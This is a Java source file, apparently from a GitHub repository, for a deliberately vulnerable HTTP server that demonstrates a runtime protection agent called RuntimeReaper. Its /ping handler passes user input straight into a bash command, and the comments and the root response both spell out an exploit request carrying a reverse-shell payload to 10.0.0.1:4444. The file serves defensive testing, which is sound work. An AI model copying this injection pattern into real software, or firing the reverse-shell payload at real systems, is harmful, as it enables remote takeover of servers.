-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathVulnerableServer.java
More file actions
97 lines (87 loc) · 3.97 KB
/
Copy pathVulnerableServer.java
File metadata and controls
97 lines (87 loc) · 3.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.Map;
/**
* A DELIBERATELY VULNERABLE demo web app — for testing RuntimeReaper only.
* Never expose this to a real network.
*
* It contains a textbook OS command-injection flaw: it concatenates a
* user-supplied query parameter straight into a shell command.
*
* Build & run:
* javac -d out examples/demo/VulnerableServer.java
* java -cp out VulnerableServer # protected (agent auto-attached via JAVA_TOOL_OPTIONS)
* java -javaagent:target/runtime-reaper-1.0.0.jar -cp out VulnerableServer # explicit
*
* Attack (from BurpSuite Repeater, or curl):
* Benign : GET /ping?host=127.0.0.1
* Exploit: GET /ping?host=127.0.0.1;%20bash%20-i%20%3E%26%20/dev/tcp/10.0.0.1/4444%200%3E%261
*
* Without the agent the exploit's shell payload runs. With RuntimeReaper it is
* blocked (SecurityException) and a red alert is printed to this console.
*/
public class VulnerableServer {
public static void main(String[] args) throws IOException {
int port = args.length > 0 ? Integer.parseInt(args[0]) : 8080;
// Bind to loopback ONLY — this is intentionally vulnerable and must never
// be reachable from the network.
HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", port), 0);
server.createContext("/ping", VulnerableServer::handlePing);
server.createContext("/", ex -> respond(ex, 200,
"RuntimeReaper demo target.\n" +
"Try: GET /ping?host=127.0.0.1\n" +
"Exploit: GET /ping?host=127.0.0.1; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"));
server.setExecutor(null);
server.start();
System.out.println("[demo] Vulnerable server listening on http://localhost:" + port);
System.out.println("[demo] Point BurpSuite's browser/proxy at it and hit /ping?host=...");
}
private static void handlePing(HttpExchange ex) throws IOException {
String host = param(ex.getRequestURI().getRawQuery(), "host");
if (host == null || host.isEmpty()) {
respond(ex, 400, "missing 'host' parameter\n");
return;
}
// ---- THE VULNERABILITY: user input concatenated into a shell command ----
String command = "ping -c 1 " + host;
System.out.println("[demo] executing: " + command);
try {
Process p = new ProcessBuilder("bash", "-c", command)
.redirectErrorStream(true).start();
String output = new String(p.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
p.waitFor();
respond(ex, 200, output);
} catch (SecurityException se) {
// RuntimeReaper blocked the exploit before any process was created.
System.out.println("[demo] request blocked by RuntimeReaper: " + se.getMessage());
respond(ex, 403, "Blocked by RuntimeReaper RASP: " + se.getMessage() + "\n");
} catch (Exception e) {
respond(ex, 500, "error: " + e + "\n");
}
}
private static String param(String rawQuery, String key) {
if (rawQuery == null) {
return null;
}
for (String pair : rawQuery.split("&")) {
int i = pair.indexOf('=');
if (i > 0 && pair.substring(0, i).equals(key)) {
return URLDecoder.decode(pair.substring(i + 1), StandardCharsets.UTF_8);
}
}
return null;
}
private static void respond(HttpExchange ex, int status, String body) throws IOException {
byte[] bytes = body.getBytes(StandardCharsets.UTF_8);
ex.sendResponseHeaders(status, bytes.length);
try (OutputStream os = ex.getResponseBody()) {
os.write(bytes);
}
}
}